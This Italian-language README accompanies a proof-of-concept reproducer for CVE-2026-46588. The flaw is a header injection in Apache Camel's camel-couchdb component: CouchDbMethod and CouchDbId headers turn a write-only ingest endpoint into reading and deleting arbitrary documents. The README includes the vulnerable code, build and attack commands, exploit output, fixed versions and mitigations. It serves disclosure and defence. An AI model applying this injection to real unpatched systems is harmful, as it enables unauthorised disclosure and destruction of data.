
Reproductor per CVE-2026-46588: iniezione di intestazione CouchDb* in Apache Camel camel-couchdb (confusione di operazione) che sovverte un endpoint di sola scrittura trasformandolo in lettura + eliminazione di documenti arbitrari (corretto in 4.14.8/4.18.3/4.21.0)
CouchDb* di camel-couchdb (CVE-2026-46588)Questo progetto dimostra un'iniezione negli header dei messaggi nel componente camel-couchdb di Apache Camel, tracciata come CVE-2026-46588. Il componente legge diversi header Exchange per controllare il proprio comportamento: CouchDbDatabase, CouchDbSeq, CouchDbId (id del documento), CouchDbRev (revisione del documento) e CouchDbMethod (il metodo dell'operazione). I valori stringa di queste costanti di header (definite in CouchDbConstants) usano il prefisso CouchDb invece del prefisso standard Camel usato da ogni altro componente. L'HttpHeaderFilterStrategy in ingresso di Camel blocca solo i nomi di header che iniziano con Camel / camel, quindi questi nomi attraversano il filtro in ingresso senza subire modifiche. Quando una route espone un punto di ingresso HTTP (ad esempio platform-http) davanti a un producer couchdb, un client HTTP non fidato può impostare direttamente questi header e sovrascrivere l'operazione prevista dall'autore della route.
Questo PoC dimostra l'impatto come confusione delle operazioni: un endpoint di inserimento documenti solo-scrittura viene trasformato in una lettura e poi in un'eliminazione di un documento arbitrario iniettando CouchDbMethod (e CouchDbId).
CouchDbMethod=GET + CouchDbId=<secret> → divulgazione (legge un documento che l'endpoint non espone mai e
ne fa trapelare il _rev).CouchDbMethod=DELETE (con il _rev trapelato) → distruzione (elimina quel documento).Advisory: https://camel.apache.org/security/CVE-2026-46588.html
Stessa famiglia di iniezione negli header di CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 e CVE-2026-47323. La correzione condivide la sua PR con l'advisory gemella CVE-2026-46587 (camel-couchbase).
// CouchDbConstants (affected 4.18.2) — the header names carry the CouchDb prefix, not Camel:
String HEADER_METHOD = "CouchDbMethod";
String HEADER_DOC_ID = "CouchDbId";
// CouchDbProducer.process (affected 4.18.2) — the operation is chosen from the header:
String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class);
if (ObjectHelper.isEmpty(operation)) {
saveJsonElement(json); // default: save the body
} else if (operation.equalsIgnoreCase("DELETE")) {
deleteJsonElement(json); // delete by the body's _id/_rev
} else if (operation.equalsIgnoreCase("GET")) {
String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class);
exchange.getIn().setBody(getElement(docId)); // read an arbitrary document
}
La correzione (4.14.8 / 4.18.3 / 4.21.0) rinomina i valori degli header secondo la convenzione Camel — CouchDbMethod → CamelCouchDbMethod, CouchDbId → CamelCouchDbId, CouchDbRev → CamelCouchDbRev, CouchDbDatabase → CamelCouchDbDatabase, CouchDbSeq → CamelCouchDbSeq — così vengono bloccati dall'HttpHeaderFilterStrategy in ingresso come ogni altro header di controllo Camel. I nomi dei campi costanti Java sono invariati.
from("platform-http:/ingest")
.removeHeaders("Camel*") // documented hardening — see below
.convertBodyTo(String.class)
.to("couchdb:http://<host>:5984/cameldb?username=..&password=..&createDatabase=true");
L'intento dell'autore della route è un endpoint di inserimento solo-scrittura: i client inviano documenti in POST per essere salvati, nient'altro. Come hardening documentato, la route rimuove il namespace degli header di controllo Camel al confine. Questo non serve: l'header dell'operazione si chiama CouchDbMethod, non CamelCouchDbMethod, quindi non viene rimosso né da removeHeaders("Camel*") né dal filtro header HTTP integrato — e il producer cambia operazione in base ad esso.
La vittima è la route di inserimento Camel e il suo database CouchDB; l'attaccante è un client HTTP non autenticato che imposta solo header di richiesta. Una piccola harness REST popola e legge il documento segreto per la verifica, indipendentemente dalla route vulnerabile.
CVE-2026-46588/
├── pom.xml # camel-platform-http + camel-couchdb 4.18.2 (gson pinned to 2.13.2, see note)
├── Dockerfile
├── docker-compose.yml # couchdb 3.3 + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchDbSettings.java # host / db / creds / secret document id + marker
│ ├── CouchDbHarness.java # REST harness: waits for CouchDB, seeds + reads the secret doc
│ ├── VictimRoute.java # platform-http:/ingest -> couchdb producer (write-only intent)
│ └── ExploitController.java # attacker: POST /ingest with injected CouchDbMethod / CouchDbId headers
└── resources/
└── application.properties
Nota: il pom fissa
gson.version=2.13.2(la versione distribuita da Camel). In caso contrario Spring Boot 3.2.0 fisserebbe la gson 2.10.1 più vecchia, a cui mancacom.google.gson.internal.GsonTypese che fa lanciareNoClassDefFoundErroral Cloudant SDK incluso in fase di esecuzione.
mvn clean package -DskipTests
docker compose up -d --build
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
secret document in CouchDB (read straight from the database):
{"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"}
=== 1) Legitimate ingest (no CouchDb* headers) — a new document is saved ===
{"note":"benign user submission"}
=== 2) Injected CouchDbMethod=GET + CouchDbId=admin-secret — reads a protected document ===
{ "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... }
disclosure: true
=== 3) Injected CouchDbMethod=DELETE (with the leaked _rev) — deletes the protected document ===
secret document now: <not found>
destruction: true
>>> Operation-confusion / header-injection proof — an unauthenticated client turned a write-only
>>> ingest endpoint into read (true) and delete (true) of an arbitrary document, via the CouchDbMethod / CouchDbId headers.
Qualsiasi route con un producer couchdb raggiungibile da un consumer HTTP. Header iniettabili: CouchDbMethod (commuta salvataggio → get / delete), CouchDbId (documento bersaglio per get) e _id / _rev del corpo per delete. Il lato consumer aggiunge CouchDbDatabase e CouchDbSeq.
Aggiornare a 4.14.8 / 4.18.3 / 4.21.0 (advisory PR #23228). Dopo la correzione gli header di controllo portano il prefisso Camel (CamelCouchDbMethod, CamelCouchDbId, …) e vengono filtrati al confine HTTP come ogni altro header di controllo.
In attesa dell'aggiornamento, rimuovere gli header interessati dai messaggi in ingresso non fidati prima che raggiungano il producer, ad es. .removeHeader("CouchDbDatabase"), .removeHeader("CouchDbId"), .removeHeader("CouchDbRev"), .removeHeader("CouchDbSeq") e .removeHeader("CouchDbMethod") davanti all'endpoint couchdb, oppure applicare una HeaderFilterStrategy personalizzata che blocchi questi nomi.
Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo contro sistemi senza esplicita autorizzazione.
| Proprietà | Valore |
|---|
| Componente | camel-couchdb |
| Classe interessata | org.apache.camel.component.couchdb.CouchDbProducer che legge CouchDbConstants.HEADER_METHOD ("CouchDbMethod"), HEADER_DOC_ID ("CouchDbId"), ecc. |
| CWE | CWE-20: Validazione impropria dell'input |
| Impatto | Un client HTTP imposta header CouchDb* → sovrascrive l'operazione / il documento → divulgazione, eliminazione, manomissione |
| Precondizioni | Una route espone un producer couchdb dietro un consumer HTTP (es. platform-http); non autenticato quando lo è il consumer |
| Versioni interessate | Da 4.0.0 a prima della 4.14.8, da 4.15.0 a prima della 4.18.3, da 4.19.0 a prima della 4.21.0 |
| Versioni corrette | 4.14.8, 4.18.3, 4.21.0 |
| Correzione | PR apache/camel#23228 (main), backportata tramite #23230 (4.18.x) / #23231 (4.14.x) |
| Crediti | Yu Bao (PayPal) |